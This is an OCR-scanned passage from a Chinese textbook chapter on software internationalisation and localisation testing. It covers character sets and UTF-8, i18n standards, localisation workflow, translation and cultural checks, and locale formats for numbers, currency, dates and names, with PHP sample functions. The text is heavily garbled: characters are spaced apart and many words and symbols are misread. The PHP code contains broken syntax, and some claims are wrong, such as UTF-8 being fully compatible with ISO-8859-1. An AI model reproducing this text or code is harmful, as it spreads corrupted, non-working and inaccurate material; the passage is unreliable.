个 字符 的 7-bit ASCI 字符 集 ( 包 括 tabs、 空 格 、 标 点 、 符 号、 大 小 写字 母 ,数字 和 回 车 键 等 ) 。 
然而 对 于 很 多 语言 来 说 ,7-bit ASCI 字符 集 远 远 不 够 ,因为 它 不 包含 特殊 字符 (比如 é, a, 
ora) 。 所 以 后 来 出 现 了 8-bit ASCII, 它 包含 256 个 字符 。 微 软 的 Windows 早期 版 本 使 用 
8-bit ASCII 字符 集 , 对 于 UNIX 计算 机 ,还 有 一 个 ISO 标准 (ISO 8859-X) ,和 8-bit ASCII 
相似 。 即 使 拥有 256 个 字符 ,8-bit ASCI 还 是 无 法 满足 所 有 语言 的 需求 。 汉 语 .日 语 和 昔 
语 这 些 语言 的 字符 都 很 多 ,无 法 适用 扩展 后 的 ASCII 字符 集 , 对 于 这 些 语 言 ,可 以 使 用 16- 
bit 字符 集 ( 双 字 节 、 多 字 节 或 变数 字 节 ) ,这 就 是 统一 的 字符 编码 标准 Unicode, 采 用 双 字 节 
对 字符 进行 编码 ,几乎 包含 了 所 有 语言 的 每 个 字符 。 

Unicode 是 一 个 国际 标准 (http://www. unicode. org/standard/standard. html) ,采用 
双 字 节 对 字符 进行 编码 ,提供 了 在 世界 主要 语言 中 通用 的 字符 ,所 以 也 称 为 基本 多 文 种 平 
面 。Unicode 以 明确 的 方式 表述 文本 数据 ,简化 了 混合 平台 环境 中 的 数据 共享 。 目 前 ,很 多 
操作 系统 都 支持 Unicode, 包 括 Windows 系统 、Linux 系统 和 Mac OS, Solaris, IBM-AIX, 
HP-UX 等 。Unicode 简称 为 UCS, 现 在 用 的 是 UCS-2, 即 2 字 节 编码 ,和 国际 标准 字符 集 
ISO 10646-1 相对 应 。UCS 最 新 版 本 是 2005 年 的 Unicode 4. 1. 0, 而 ISO 的 最 新 标准 是 
ISO 10646-3:2003. 

UCS 只 是 规定 如 何 编码 ,并 没有 规定 如 何 传输 、 保 存 编码 。 所 以 有 了 Unicode 实用 的 
编码 体系 ,如 UTF-7、UTF-8、UTF-16。UTF-8 (UCS Transformation Format) 和 ISO- 
8859-1 完全 兼容 ,解决 了 Unicode 编码 在 不 同 的 计算 机 之 间 的 传输 、 保 存 , 使 得 双 字 节 的 
Unicode 能 够 在 现存 的 处 理 单字 节 的 系统 上 正确 传输 。UTF-8 使 用 可 变 长 度 字 节 来 储存 
Unicode 字符 ,这 能 解决 敏感 字符 引起 的 问题 。 前 面 有 几 个 1, 表 示 整 个 UTF-8 串 是 由 几 个 
字 节 构成 的 。 以 下 是 Unicode 和 UTF-8 之 间 的 转换 关系 表 : 

U- 00000000 - U-0000007F: Oxxxxxxx 

U- 00000080 - U- 000007FF: 110xxxxx 10xxxxxx 

U- 00000800 - U- 0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx 

U- 00010000 - U- O01FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 


U- 00200000 - U- O03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 
U- 04000000 - U- 7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 


10.1.3 软件 国际 化 标准 


软件 达到 什么 样 的 程度 才 算 彻底 实现 了 国际 化 ? 虽然 在 这 个 问题 上 ,仍然 存在 一 定 的 
分 歧 , 但 普遍 认为 作为 国际 化 软件 ,要么 在 应 用 软件 运行 时 可 以 动态 切换 某 种 国家 或 地 区 的 


语言 ,要 么 在 应 用 软件 启动 前 或 启动 时 可 以 设置 某 种 语言 。 例 如 , 像 操作 系统 Windows 
XP, 不 需要 重新 编译 ,就 可 以 切换 到 不 同 语言 和 不 同 的 国家 或 地 区 。 国 际 化 软件 的 规范 可 
以 归纳 为 以 下 5 点 : 

(1) 切换 语言 的 机 制 。 

(2) 与 语言 无 关 的 输出 接口 。 

(3) 与 语言 无 关 的 输入 接口 和 标准 的 输入 协议 。 

(4) 资源 文件 的 国际 化 。 

(5) 支持 和 包容 本 地 化 数据 格式 。 

为 了 使 软件 国际 化 更 为 规范 ,需要 建立 相应 的 国际 标准 来 规范 字符 集 、 编 码 ,数据 交换 、 
语言 输入 方法 ,输出 (打印 .用 户 界面 )、 字 体 处 理 、 文 化 习俗 等 各 个 方面 。 比 较 著名 的 国际 化 
标准 组 织 有 以 下 一 些 : 

e ANSI( American National Standards Institute) 


e POSIX(Portable Operating System Interface for Computer Environments) 


ISO(CJInternational Standards Organization) 

¢ IEEE(Institute of Electrical and Electronics Engineers) 

e Unicode Consortium 

Open Group(X Consortium and OSF) 

° Lil8nux(Linux 118n),X/Open and XPG 

而 与 国际 化 有 密切 关系 的 国际 标准 有 : 

e ISO/IEC 10646-1:2003 ,定义 了 4 字 节 编码 的 通用 字符 集 (Universal Character Set, 
UCS) ,也 称 通用 多 八 位 编码 字符 集 (Universal Multiple-Octet Coded Character 
Set) 。 

ISO 639-1:2002,2 字母 语种 代码 (alpha-2) 标 准 。 

ISO 3166-1:1997, 国 家 代码 标准 。 

e RFC 3066 ,语言 鉴定 标签 标准 。 


10.1.4 软件 本 地 化 基本 步骤 


要 做 好 软件 本 地 化 的 测试 工作 ,有 必要 了 解 软 件 本 地 化 的 步 又。 软件 本 地 化 的 基本 工 
作 是 建立 在 软件 国际 化 的 基础 上 ,或 者 说 ,软件 本 地 化 的 第 一 项 工作 就 是 规范 甚至 是 迫使 源 
语言 版 本 的 开发 遵守 软件 国际 化 的 标准 。 在 此 基础 上 ,依次 做 好 版 本 管理 、 建 立 专业 术语 
表 、 翻 译 .调整 UI 等 工作 。 

在 软件 全 部 翻译 完毕 ,对 技术 部 分 做 了 必要 的 调整 之 后 ,软件 产品 或 多 或 少 发 生 了 一 些 
变化 。 不 论 原来 的 软件 产品 有 多 成 熟 , 经 过 本 地 化 工作 之 后 ,软件 产品 可 能 产生 一 些 新 的 问 
题 ,或 者 引起 一 些 回归 缺陷 ,所 以 针对 本 地 化 的 产品 进行 测试 ,也 是 必要 的 。 以 下 是 本 地 化 
的 基本 步骤 ,虽然 在 具体 操作 时 可 能 会 有 所 不 同 ,但 基本 步骤 是 不 可 省 略 的 。 

(1) 建立 一 个 配置 管理 体系 ,跟踪 目标 语言 各 个 版 本 的 源 代码 ; 

(2) 创造 和 维护 术语 表 ; 

(3) 从 源 语言 代码 中 分 离 资源 文件 或 提取 需要 本 地 化 的 文本 ; 

(A) 把 分 离 或 提取 的 文本 、 图 片 等 翻译 成 目标 语言 ; 


(5) 把 翻译 好 的 文本 、 图 片 重新 插入 目标 语言 的 源 代码 版 本 中 ; 

(6) 如 果 需 要 ,编译 目标 语言 的 源 代码 ; 

(7) 测试 翻译 后 的 软件 ,调整 UI 以 适应 翻译 后 的 文本 ; 

(8) 测试 本 地 化 后 的 软件 ,确保 格式 和 内 容 都 正确 。 

本 地 化 的 工作 流程 ,如 图 10-2 所 示 , 其 中 DTP 指 多 语言 桌面 排版 (Multilingual 
Desktop Publishing) 。 本 地 化 领域 的 桌面 出 版 ,是 指 将 采用 某 一 语言 的 原始 文档 (如 操作 手 
WE 产品 样本 、 宣 传单 页 等 ) 按 照 一 种 或 多 种 目标 语言 重新 排版 ,形成 不 同 的 语言 版 本 。 一 些 
产品 可 能 支持 或 不 支持 对 某 种 语言 的 拼写 检查 , 而 需要 特定 的 操作 系统 ,例如 针对 
Macintosh 计算 机 的 日 语 工 具 箱 或 针对 PC 的 阿拉 伯 视 窗 。 


软件 配置 /记录 客户 数据 准备 项 目 计划 
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图 10-2 软件 本 地 化 的 工作 流程 


10.1.5 软件 本 地 化 测试 


在 进行 软件 本 地 化 测试 之 前 , 先 要 检查 软件 源 语言 开发 是 否 遵守 了 软件 国际 化 方面 的 
规范 ,验证 是 否 具 有 软件 国际 化 所 应 有 的 全 部 特征 ,包括 字符 集 、 资 源 和 代码 分 离 . 时 区 设 
置 ,语言 和 地 方 选择 等 。 要 验证 软件 是 否 具 备 国际 化 特征 ,需要 根据 软件 国际 化 相关 标准 进 
行 评审 ,包括 设计 和 代码 的 评审 。 

仅仅 评审 是 不 够 的 ,还 要 进行 相关 的 功能 测试 .界面 测试 ,但 不 包括 翻译 验证 等 。 而 功 
能 测试 和 界面 测试 ,一般 采用 伪 翻 译 (pseudocode,pseudor-translation) 所 构建 的 版 本 进行 测 


试 。 这 种 pseudocode 版 本 是 将 文字 、 图 片 信息 中 的 源 语言 被 混合 式 多 种 语言 (如 英文 、 中 
文 日 文 和 德 文 等 ) 蔡 代 而 构建 的 一 种 临时 的 、 专 供 测试 用 的 版 本 。 

在 源 语言 版 本 通过 了 国际 化 验证 之 后 , 才 开始 进行 本 地 化 的 测试 。 本 地 化 测试 的 版 本 ， 
就 是 待 发 布 的 特定 语言 的 真实 版 本 ,而 该 特定 的 语言 版 本 是 在 源 语言 版 本 的 基础 上 ,经 过 本 
地 化 工作 之 后 而 获得 的 。 本 地 化 测试 着 重 于 以 下 几 个 方面 : 

(1) 主要 的 功能 性 测试 ,函数 之 间 传 递 的 参数 ,数据库 的 默认 值 经 过 本 地 化 处 理 后 ,可 
能 会 对 系统 的 功能 运行 产生 较 大 的 影响 ,从 而 引起 功能 缺陷 ; 

(2) 在 本 地 化 环境 中 的 安装 和 升级 测试 ,由 于 目标 语言 的 操作 系统 和 软件 本 身 都 不 一 
样 了 ,安装 或 升级 过 程 也 常常 受到 影响 ; 

(3) 根据 产品 的 目标 区 域 而 进行 的 应 用 程序 和 硬件 兼容 性 测试 ,其 应 用 程序 的 接口 . 标 
准 可 能 不 同 , 硬 件 型 号 及 其 配置 更 有 可 能 存在 差异 ; 

(4) 受 本 地 化 影响 的 用 户 界 面 ,包括 布局 .格式 .文字 和 图 片 等 内 容 显示 问题 ; 

(5) 特殊 的 语言 环境 (意境 ) 文化 背景 和 地 理 位 置 等 可 能 给 软件 带 来 的 问题 ， 

(6) 文字 翻译 的 正确 性 、 准 确 性 以 及 是 否 遗漏 等 。 

具体 测试 的 时 候 ,针对 上 述 各 项 内 容 , 还 要 进一步 细 化 ,确定 具体 的 测试 需求 ,例如 针对 
用 户 界面 和 语言 文化 方面 的 测试 ,其 具体 内 容 包 括 以 下 几 个 方面 : 

应 用 程序 源 文件 的 有 效 性 ; 

验证 语言 的 准确 性 和 源 代码 的 属性 ; 

排版 错误 ; 

检查 印刷 文档 和 联机 帮助 .界面 信息 的 一 致 性 以 及 命令 键 的 顺序 等 ; 
用 户 界面 是 否 符合 当地 审美 标准 (或 情趣 ); 

文化 适用 性 的 评估 ; 

。 政治 敏感 内 容 的 检查 。 

当 发 布 一 个 本 地 化 产品 时 ,应 该 确保 本 地 化 文档 (用 户 手 册 、 在 线 帮助 .帮助 文件 等 ) 都 
包含 在 其 中 。 同 时 应 该 检查 翻译 的 质量 和 完整 性 ,并 确保 所 有 的 文档 和 应 用 程序 界面 中 术 
语 使 用 的 一 致 性 。 所 以 概括 起 来 ,本 地 化 测试 包括 以 下 6 个 方面 : 

(1) 功能 性 测试 ,所 有 基本 功能 、 安 装 、 升 级 等 测试 ; 

(2) 翻译 测试 ,包括 语言 完整 性 、 术 语 准 确 性 等 检查 ; 

G) 可 用 性 测试 ,包括 用 户 界面 .度量衡 和 时 区 等 适合 当地 的 要 求 ; 

(4) 兼容 性 测试 ,包括 硬件 软件 本 身 、 第 三 方 软件 兼容 性 等 的 测试 ; 

(5) 文化 .宗教 .喜好 等 适用 性 测试 ; 

(6) 手册 验证 ,包括 联机 文件 在线 帮助 .PDF 文件 等 测试 。 

由 此 可 见 , 整 个 软件 本 地 化 的 过 程 , 其 实 是 一 个 再 创造 的 过 程 。 文 字 翻 译 仅仅 只 做 了 本 
地 化 工作 的 一 部 分 ,要 真正 完成 软件 本 地 化 确实 有 很 多 工作 要 做 。 


10.2 翻译 验证 


软件 本 地 化 其 中 一 项 重要 的 工作 就 是 文字 翻译 ,主要 任务 是 把 源 语言 转换 到 另 一 种 目 
标语 言 ,而 与 此 对 应 的 就 是 翻译 验证 。 如 前 所 述 ,本 地 化 不 仅仅 是 简单 的 文字 翻译 转换 ,还 


应 该 根据 目标 语言 国家 的 市 场 特点 .文化 习惯 .法律 等 情况 进行 本 地 特性 开发 .界面 布局 调 
整 等 工作 。 所 以 翻译 也 不 是 单纯 的 翻译 ,还 必须 立足 于 文化 和 市 场 的 角度 来 考虑 用 户 ,兼顾 
目标 语言 的 文化 心理 。 

翻译 验证 ,需要 对 翻译 内 容 .语言 文化 以 及 特殊 符号 等 进行 检查 ,帮助 翻译 人 员 发 现 翻 
译 中 的 错误 和 不 妥 之 处 、 指 出 开发 人 员 技 术 上 未 能 实现 的 部 分 。 例 如 ,把 一 种 语言 翻译 成 另 
外 一 种 语言 ,难免 会 有 上 涩 或 表达 不 准确 的 地 方 ,由 于 大 量 的 翻译 工作 ,翻译 人 员 可 能 会 遗 
漏 或 玖 忽 某 些 地 方 , 这 就 需要 测试 人 员 进 行 检查 和 验证 。 有 条 件 的 话 , 在 本 地 化 软件 向 市 场 
发 布 之 前 ,还 应 该 让 目标 语言 的 语言 专家 来 最 后 审 稿 。 

1. 内 容 的 验证 

一 般 来 说 ,需要 翻译 的 内 容 大 致 分 为 三 个 部 分 : 用 户 界面 联机 文档 和 用 户 手 册 等 。 首 
先 ,从 源 代码 中 或 直接 从 资源 文件 中 把 需要 翻译 的 文字 、 图 片 提取 出 来 ,存储 在 相应 的 数据 
库 或 本 地 化 管理 系统 中 ,补充 版 本 、 文 件 名 和 位 置 等 信息 。 然 后 ,将 要 翻译 的 素材 交 给 本 地 
化 团队 去 翻译 或 由 第 三 方 专业 翻译 公司 去 翻译 。 将 所 翻译 的 结果 进行 保存 ,同时 处 理 , 构 建 
相应 的 资源 文件 或 软件 包 , 即 创建 新 的 语言 版 本 。 这 个 阶段 的 要 求 是 翻译 准确 ,能 够 照顾 到 
目标 语言 的 文化 和 习惯 ,并 能 完成 不 同 语言 版 本 的 自动 构建 。 

我 们 知道 ,翻译 是 本 地 化 的 一 项 重要 工作 ,不 同 的 语言 使 用 不 同 的 语法 和 句子 结构 ,如 
英语 、 汉 语 等 基本 句子 结构 是 “ 主 十 谓 十 宾 ”, 但 日 语 的 基本 句子 结构 是 “ 主 十 宾 十 谓 ”, 所 以 
词 对 词 的 直译 往往 是 不 行 的 ,还 必须 考虑 上 下 文 关系 ,根据 程序 中 特定 的 语 境 来 决定 文字 的 
含义 ,才能 保证 翻译 准确 。 

在 保持 原 有 意思 和 风格 的 基础 上 ,还 必须 把 源 语言 格式 蔡 换 为 目标 语言 的 格式 。 例 如 ， 
联机 文档 常用 的 格式 有 HTML PDF All CHM 文件 等 ,本 地 化 翻译 人 员 也 应 该 把 翻译 后 的 
文档 转换 成 相应 的 格式 。 测 试 人 员 也 要 注意 其 转换 后 的 格式 是 否 能 够 正常 显示 ,各 部 分 内 
容 和 相关 的 链接 是 否 正常 等 。 

除 此 之 外 ,软件 中 的 按钮 .图 标 和 插图 等 上 面 的 文字 也 需要 翻译 ,本 地 化 测试 人 员 应 该 
指出 翻译 人 员 没 有 翻译 的 部 分 ,协助 其 尽快 完成 。 关 于 翻译 验证 ,有 几 点 建议 : 

(1) 翻译 时 ,应 该 尽量 使 用 简单 的 句子 结构 和 语法 ,选择 意义 明确 的 词 。 

(2) 检查 翻译 的 内 容 是 否 断 章 取 义 、 词 不 达意 。 

(3) 如 果 在 源 文件 中 使 用 了 缩写 词 , 检 查 缩写 词 在 第 一 次 出 现 的 时 候 是 否 正确 地 标 出 
了 它 的 全 称 ,以 便 用 户 能 够 明白 其 含义 。 这 样 ,在 其 后 的 文本 中 即使 一 直 用 缩写 词 来 表示 ， 
也 没有 关系 。 

(4) 检查 标点 符号 货币、 计量 单位 等 是 否 符合 当地 习惯 ,包括 显示 格式 。 

在 国际 化 基础 上 ,本 地 化 过 程 就 相对 简单 。 如 果 国 际 化 没有 做 好 ,翻译 和 本 地 化 的 过 程 
就 会 变 为 一 个 相当 元 长 的 过 程 ,其 中 包括 将 屏幕 .对话 框 等 重新 设 定 ; 而 且 需 要 重建 在 线 文 
件 ; 图 像 和 插图 也 可 能 需要 更 改 。 最 后 ,计算 机 程序 还 可 能 需要 做 出 某 些 修改 去 适应 那些 
使 用 双 字 节 字 符 的 语言 。 

2. 目标 语言 文化 的 检查 

翻译 的 时 候 要 照顾 到 目标 语言 的 文化 心理 ,例如 对 于 不 符合 本 地 文化 和 软件 产品 的 措 
辞 ,需要 纠正 。 软 件 展示 给 用 户 的 首先 就 是 它 的 用 户 界面 ,所 以 UI 的 重要 性 是 不 言 而 喻 


的 ,这 同样 体现 在 本 地 化 测试 上 。 如 果 在 UI 上 出 现 错误 甚至 有 歧义 的 地 方 会 让 用 户 对 该 
软件 产生 不 信任 的 心理 ,这 些 都 是 应 该 坚决 杜绝 的 。 再 则 ,由 于 不 同 民族 .不 同 信件 之 间 的 
差别 ,各 民族 在 色彩 禁忌 和 其 他 习惯 上 也 有 很 多 区 别 。 测 试 人 员 在 软件 本 地 化 的 翻译 验证 
工作 中 ,不 仅 要 找 出 错误 ,而 且 应 该 找 出 不 符合 民族 习惯 的 地 方 ,能 够 提出 有 建设 性 的 修改 
WR. 

软件 相关 宣传 品 的 处 理 ,也 要 把 握 好 当地 的 风俗 习惯 ,留意 包装 的 规格 和 颜色 。 例 如 
日 本 人 比较 鼠 讳 数字 "4”, 就 连 4 个 一 组 包装 的 产品 都 不 容易 卖 测 去 ; 而 美国 人 不 大 喜欢 鲜 
相 的 红色 ,那么 宣传 资料 和 包装 纸 就 应 该 尽量 避免 大 红 的 颜色 。 

对 于 一 些 涉及 文化 方面 的 内 容 ,最 好 能 用 本 民族 中 相应 的 内 容 来 蔡 换 。 如 中 国人 以 红 
色 为 喜庆 的 颜色 , 遇 到 节日 ,网 站 采用 大 量 红色 ,而 且 在 股票 交易 网 站 上 ,股票 价格 上 涨 为 红 
色 , 股 票 价格 下 跌 为 绿色 ,正好 和 西方 相反 ,在 美国 股票 价格 上 涨 为 绿色 ,股票 价格 下 跌 为 红 
色 。 在 西方 ,绿色 象征 安全 ,而 红色 意味 着 问题 严重 ,如 十 字 路 口 的 红绿灯 。 再 比如 ,安全 警 
戒 等 级 ,最 低 等 级 是 绿色 ( 没 问 题 ), 然 后 是 黄色 橙色 ,最 高 等 级 是 红色 。 作 为 国际 化 的 软件 
产品 ,颜色 应 该 是 可 以 定制 的 ,在 进行 本 地 化 时 ,根据 当地 习俗 将 颜色 重新 设置 ,改变 颜色 的 
默认 值 。 

3. 特殊 符号 

把 一 种 语言 翻译 成 另 一 种 语言 ,同时 还 要 注意 目标 语言 的 特殊 符号 ,比如 标点 符号 、 货 
币 符号 以 及 该 目标 语言 所 特有 的 其 他 符号 。 英 语 中 的 标点 符号 和 亚洲 语言 的 标点 符号 不 太 
相同 ,英文 的 句号 是 一 个 圆 点 (单字 节 符号 ) ,而 汉语 和 日 语 的 句号 都 是 一 个 小 圆圈 ( 双 字 节 
符号 ); 汉语 中 的 标点 符号 是 比较 完备 的 ,英文 中 通常 用 斜体 表示 书 名 ,汉字 则 用 《) 标 识 
书 名 。 


10.3 本 地 化 测试 的 技术 问题 


完成 了 语言 的 转换 ,对 于 整个 本 地 化 过 程 来 说 ,只 是 完成 了 第 一 阶段 。 要 使 该 软件 真正 
投入 使 用 ,还 有 很 多 技术 方面 的 问题 有 待 解决 ,主要 有 : 

(1) 数据 格式 。 

(2) 页 面 显示 和 布局 。 

G) 配置 和 兼容 性 问题 。 


10.3.1 数据 格式 


数字 、 货 币 和 日 期 等 的 表达 方法 在 不 同 的 国家 其 格式 也 不 尽 相 同 , 所 以 在 把 软件 本 地 化 
时 ,也 应 该 特别 注意 这 些 方面 的 问题 ,应 考虑 本 地 化 格式 的 要 求 ,否则 就 有 可 能 出 现 错误 。 
幸运 的 是 ,今天 可 以 使 用 标准 APIs( 比 如 微软 .SUN 提供 的 ) 来 处 理 这 类 转换 的 问题 。 如 果 
是 由 自己 设计 的 显示 方式 或 模式 ,就 必须 很 好 设计 其 变量 含义 和 处 理 方式 .数据 存储 方式 等 
去 适应 这 种 显示 的 要 求 。 

在 程序 设计 编程 时 ,可 以 通过 一 些 特殊 的 函数 来 处 理 不 同 语言 的 数据 格式 。 例 如 使 用 
自 定义 函数 LocLongdate() 、LocShortdate() 、LocTime() 、LocNumberFormat() 等 替换 原来 
的 函数 date() ,来 处 理 日 期 数字 等 不 同 的 显示 格式 。 下 面 ,将 通过 一 些 具体 的 例子 来 介绍 


不 同 地 方 数字 、 货 币 和 日 期 等 不 同 的 表达 格式 。 

1. 数字 

很 多 欧洲 语言 使 用 逗号 而 不 是 小 数 点 来 表示 千 位 ,有 的 则 使 用 句号 或 空格 代替 逗号 。 
所 以 ,本 地 化 的 软件 也 必须 注意 这 个 问题 ,如 若 不 然 , 有 可 能 一 个 顾客 存 和 人 5000 欧元 ,而 却 
只 能 取出 5 美元 。 比 如 ,同一 个 数字 (7582) 在 美国 .意大利 和 瑞士 有 3 种 不 同 的 表达 方式 : 

。 美国 : 7,582。 

。 意大利 : 7.582。 

。 瑞士 : 7582, 

2. 货币 

除了 数字 转换 外 ,几乎 每 一 个 国家 都 有 表示 本 国货 币 的 符号 ,这 些 符号 出 现在 金额 的 前 
后 也 各 不 相同 。 如 果 一 个 金融 类 的 应 用 软件 把 本 该 用 鞋 表示 的 地 方 ,用 了 $ ,后 果 将 不 堪 

。 美国 : Dollar $3} US$. 

。 英国 : Pound£. 

。 HÆ: Yen¥, 

。 欧洲 : 欧元 E 

> 中 国 : ARMY. 

3. 时 间 

各 国 时 间 的 习惯 表达 方式 也 总 是 不 一 样 的 ,美国 习惯 上 使 用 12 小 时 来 表达 时 间 ,而 欧 
洲 国家 使 用 24 小 时 模式 来 表达 时 间 。 如 晚上 10:45 ,在 不 同 的 国家 有 不 同 的 表示 : 

。 美国 : 10:45PM, 

。 德国 : 22.45, 

。 MEKKA: 22 h 45。 

而 且 美 国 是 从 12:00am 一 11:59am,12:00pm 一 11:59pm, 没 有 0:10am 或 0:30pm, 相 
当 于 12,1,2,…,10,11 这 样 的 顺序 。 

4. 日 期 格式 

同样 ,不 同 国家 的 日 期 显示 格式 也 不 是 一 致 的 。 美 国 的 标准 是 MM/DD/YY 来 显示 
月 .日 .年 ,也 有 很 多 不 同 的 分 隔 符号 (如 */” 和 ”*-”); 欧洲 ( 除 少 数 例外 ) 的 标准 是 日 月、 年 
(DD. MM. YY); 中 国 的 标准 则 是 年 月 日。 下面 以 2003 年 2 月 14 日 为 例 来 说 明 ， 

。 美国 : 2/14/2003. 

。 英国: 14. 2. 2003。 

。 中 国 : 2003/2/14。 

即使 是 一 个 星期 的 起 始 天 各 国 也 不 相同 ,如 美国 ,一 个 星期 的 第 一 天 是 星期 天 ; 然而 ， 
法 国 的 日 历 第 一 天 都 以 星期 一 开头 。 

再 看 一 个 具体 的 例子 ,一 个 英文 日 期 ,如 “7/22,003” 或 “7-22-2003”, 本 地 化 为 中 文 版 本 
后 ,日 期 显示 变 为 “7 月 . 12,2003”, 显 然 不 正确 ,其 正确 的 中 文 显示 应 该 是 ; 2003 年 7 月 
12 As 

下 面 来 了 解 一 下 正确 的 编码 。 从 编码 中 可 以 看 到 在 本 地 化 的 时 候 , 有 时 必须 应 用 自 定 


义 函 数 LocLongDate() 来 解决 日 期 显示 的 问题 。 这 就 要 求 本 地 化 测试 人 员 不 只 是 发 现 问 
题 , 还 应 站 在 更 高 的 层次 来 分 析 问 题 ,并 提出 解决 问题 的 建议 。 在 Java 里 比较 简单 ,有 
java, util. Locale 类 ,日 期 格式 化 可 以 表示 为 : 


SimpleDateFormat("", Locale. SIMPLIFIED CHINESE); 
根据 语言 版 本 取 完 整 日 期 格式 的 处 理 函 数 (以 下 程序 设计 语言 为 PHP 语言 ): 


function LocLongDate( $ UnixTime, $ RegionID, $ DisplayWeek = "Yes") 
{ 
global $ glbRegion; 


InternationInit(); 
if (!IsExistRegionID( $ RegionID) ) 
$RegionID = $ glbDefaultRegionID; // 取 得 本 地 区 域 代码 
if("". $ glbRegion[ $ RegionID][LONGDATEFORMAT] =="") // 如 果 是 长 日 期 型 
$ glbRegion[ $ RegionID][LONGDATEFORMAT] = "WWW, MMM d, yyyy"; 
$ strFormat = FormatLocToFormatPhp( $ glbRegion[ $ RegionID][LONGDATEFORMAT] ) ; 
if( $ DisplayWeek == "NoWeek") // 处 理 日 期 格式 
{ 
$ strFormat = eregi_replace("1","", $ strFormat) ; 
$ strFormat = ereg_replace("*, ","", $ strFormat) ; 
} 
$ LongDateString = date( $ strFormat, $ UnixTime) ; 
if (strstr(strtolower( $ glbRegion[ $ RegionID][LONGDATEFORMAT]), "www" ) ) 
$ LongDateString = str_replace (date ( "1", $ UnixTime), $ ARR_ FULLWEEKDAY [ date ( "w", 
$ UnixTime) ], 
$ LongDateStr ing) ; // 获 得 星期 显示 字符 串 
if (strstr(strtolower( $ glbRegion[ $ RegionID][LONGDATEFORMAT]), "mmm" ) ) 
$ LongDateString = str_replace(date("F", $ UnixTime), ARR_FULLMONTH[ date("n", 
$ UnixTime) - ] , 
$ LongDateString) ; // 获 得 日 期 显示 字符 串 
return $ LongDateString; 


} 


5. 度量 衡 的 单位 

美国 以 外 的 很 多 国家 使 用 公制 度量 系统 ,因此 ,国际 化 的 软件 必须 能 够 解决 公制 度量 单 
位 的 问题 。 度 量 衡 的 单位 在 工程 和 科学 软件 中 尤为 敏感 ,如 果 在 转换 的 过 程 中 出 现 了 错误 ， 
后 果 将 不 雯 设想 。 所 以 在 转换 英 式 度量 单位 制 和 公制 度量 单位 时 ,要 倍加 小 心 。 这 更 是 本 
地 化 测试 所 不 容 忽略 的 问题 。 

6. 索引 和 排序 

英文 排序 和 索引 习惯 上 按照 字母 的 顺序 来 编排 ,但 是 对 于 一 些 非 字母 文字 的 国家 ,如 亚 
洲 很 多 国家 来 说 ,这 种 方法 就 不 适用 了 ,如 汉字 就 有 按 拼音 .部 首 和 笔画 等 不 同 的 索引 方法 ; 
即使 是 使 用 字母 文字 的 国家 ,其 排序 方法 和 英文 也 是 有 很 大 出 入 的 ,比如 瑞典 语 , 它 的 字母 
比 英文 字母 多 3 个 ,在 索引 排序 时 也 应 加 以 考虑 。 所 以 ,在 本 地 化 软件 时 ,应 该 根据 不 同 国 
家 和 地 区 的 语言 习惯 分 别 加 以 考虑 ,在 进行 本 地 化 测试 的 时 候 更 应 该 仔细 核对 这 些 问题 ,如 


把 英文 软件 本 地 化 为 瑞典 版 本 时 .用 来 排序 的 有 29 个 字母 ,在 字母 A,B,C,…,X,Y,Z 后 会 
增加 几 个 特殊 的 字母 一 一 瑞典 语 中 的 3 个 字母 , 即 A.A.O。 从 代码 中 可 以 看 到 , 它 分 别 用 
T C$ Index== (RawUrlDecode("%C5")),( $ Index== (rawurldecode("%C4")) 和 
( $ Index== (rawurldecode ("%D6")) 来 表示 这 几 个 字母 。 


if (GetLanguagelDFromUr1(BrandName()) == 13) 
{ 
if ( $ Index == (rawurldecode("%C5")) ) 
echo "< b> SAring;</b> Snbsp; &nbsp; &nbsp;"; 
else 
print("< A HREF = \" javascript :GetAddressByIndex(document. FormDeleteAddress, 
'™, $ strSortField."', '". '&Aring;'."')\">". '&Aring; '. "</A> &nbsp;\n") ; 
if ( $ Index == (rawurldecode("%C4")) ) 
echo "< b> &Aum1;</b> &nbsp; &nbsp; &nbsp;"; 
else 
print("< A HREF = \" javascript :GetAddressByIndex (document. FormDeleteAddress, 
"". $ strSortField."', '". '&Auml;'."')\">". '&Auml; '. "</A> &nbsp; \n") ; 
if ( $ Index == (rawurldecode("%D6")) ) 
echo "< b> &Oum1;</b> &nbsp; &nbsp; &nbsp;"; 
else 
print("< A HREF = \" javascript :GetAddressByIndex( document. FormDeleteAddress, 
™, $ strSortField."', '. '&Ouml;'."')\">". '&0uml; '. "</A> &nbsp; \n") ; 
} 


7. 姓名 格式 
英文 的 姓名 格式 是 名 在 前 , 姓 在 后 ,姓名 之 间 还 需 空 一 格 ,而 亚洲 人 的 姓名 格式 通常 是 


姓 前 名 后 ,而且 中 间 无 须 空格 。 由 于 这 个 区 别 , 在 做 本 地 化 测试 的 时 候 , 一 定 要 确保 受 影响 
的 部 分 都 做 了 相应 的 改动 ,否则 会 导致 显示 和 查找 的 时 候 产 生 错 误 。 在 测试 的 时 候 如 果 发 
现 此 类 错误 ,可 以 建议 编码 人 员 根 据 不 同 国家 和 地 区 的 语言 习惯 考虑 姓 、 名 以 及 全 名 之 间 的 
关系 , 自 定义 一 些 函 数 来 处 理 此 类 问题 。 


这 里 定义 了 函数 GetFullNameforMultipleLanguage 来 识别 姓名 的 类 型 ,从 而 选取 正确 


的 显示 格式 。 


function GetFullNameforMultipleLanguage( $ FirstName, $ LastName ="") // 根 据 语 言 版 本 取得 相 
应 的 姓名 格式 
{ 
// 如 果 全 名 中 包含 英文 大 写字 符 A~z 或 小 写字 符 a 一 z, 则 保留 名 和 姓 之 间 的 空格 
$ strFullName = trim( $ FirstName." ". $ LastName); 
if(eregi("(a-z]", $strFullName[0])) // 如 果 姓名 是 英文 字符 , 则 立刻 返回 其 值 
return $ strFullName; 
// 如 果 当 前 语言 是 繁体 中 文 , 则 删除 其 中 的 空格 
$ LanguageID = GetCookie("CK LanguageID ". GetSiteConfig("SiteID") ); 
if(intval( $ LanguageID) == 0) 
$ LanguageID = GetLanguageIDFromUr1(BrandName( ) ) ; 
if ( $ LanguageID == 4|| $ LanguageID == 5) // 针对 繁体 中 文 和 日 语 
return ereg_replace(" *","", $ strFullName) ; 


if(eregi("[a-z]", $ strFullName) ) 


return trim( $ strFullName) ; 
else 
return ereg_replace(" *","", $ strFullName) ; 


} 
8. 复数 问题 


